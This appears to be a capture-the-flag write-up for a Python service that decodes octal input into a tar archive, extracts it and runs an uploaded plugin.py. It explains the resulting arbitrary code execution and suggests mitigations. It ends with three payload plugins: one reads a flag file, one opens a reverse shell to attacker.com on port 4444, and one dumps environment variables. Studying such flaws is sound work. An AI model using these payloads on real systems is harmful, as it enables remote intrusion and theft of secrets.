1
#!/usr/bin/env python3
2

3
import io, os, re, sys, tarfile, importlib.util, signal
4

5
OCTAL_RE = re.compile(r'^[0-7]+$')
6

7
def to_bytes_from_octal_triplets(s: str) -> bytes:
8
    if not OCTAL_RE.fullmatch(s):
9
        sys.exit("invalid: only octal digits 0-7")
10
    if len(s) % 3 != 0:
11
        sys.exit("invalid: length must be multiple of 3")
12
    if len(s) > 300000:
13
        sys.exit("too long")
14
    return bytes(int(s[i:i+3], 8) for i in range(0, len(s), 3))
15

16
def safe_extract(tf: tarfile.TarFile, path: str):
17
    def ok(m: tarfile.TarInfo):
18
        name = m.name
19
        return not (name.startswith("/") or ".." in name)
20
    for m in tf.getmembers():
21
        if ok(m):
22
            tf.extract(m, path)
23

24
def load_and_run_plugin():
25
    for candidate in ("uploads/plugin.py", "plugin.py"):
26
        if os.path.isfile(candidate):
27
            spec = importlib.util.spec_from_file_location("plugin", candidate)
28
            mod = importlib.util.module_from_spec(spec)
29
            spec.loader.exec_module(mod)
30
            if hasattr(mod, "run"):
31
                return mod.run()
32
            break
33
    print("No plugin found.")
34

35
def timeout(*_): sys.exit("timeout")
36
signal.signal(signal.SIGALRM, timeout)
37
signal.alarm(6)
38

39
print("Send octal")
40
data = sys.stdin.readline().strip()
41
blob = to_bytes_from_octal_triplets(data)
42

43
bio = io.BytesIO(blob)
44
try:
45
    with tarfile.open(fileobj=bio, mode="r:*") as tf:
46
        os.makedirs("uploads", exist_ok=True)
47
        safe_extract(tf, "uploads")
48
except Exception as e:
49
    sys.exit(f"bad archive: {e}")
50

51
load_and_run_plugin()

1
for candidate in ("uploads/plugin.py", "plugin.py"):
2
    if os.path.isfile(candidate):
3
        spec = importlib.util.spec_from_file_location("plugin", candidate)
4
        mod = importlib.util.module_from_spec(spec)
5
        spec.loader.exec_module(mod)  # ← ARBITRARY CODE EXECUTION!

1
[Octal String]
2
    ↓ decode
3
[Tar Archive Bytes]
4
    ↓ extract
5
[uploads/plugin.py]
6
    ↓ load & execute
7
[Arbitrary Code Execution!]

1
# BAD - Vulnerable
2
spec.loader.exec_module(mod)
3

4
# BETTER - Validate content
5
import ast
6
tree = ast.parse(plugin_code)
7
# Analyze AST, block dangerous imports
8

9
# BEST - Don't execute user code
10
# Use configuration files (JSON/YAML) instead

1
def run():
2
    import subprocess
3
    print(subprocess.check_output(['cat', '/app/flag.txt']).decode())

1
def run():
2
    import socket, subprocess, os
3
    s = socket.socket()
4
    s.connect(("attacker.com", 4444))
5
    os.dup2(s.fileno(), 0)
6
    os.dup2(s.fileno(), 1)
7
    os.dup2(s.fileno(), 2)
8
    subprocess.call(["/bin/sh", "-i"])

1
def run():
2
    import os
3
    print(os.environ)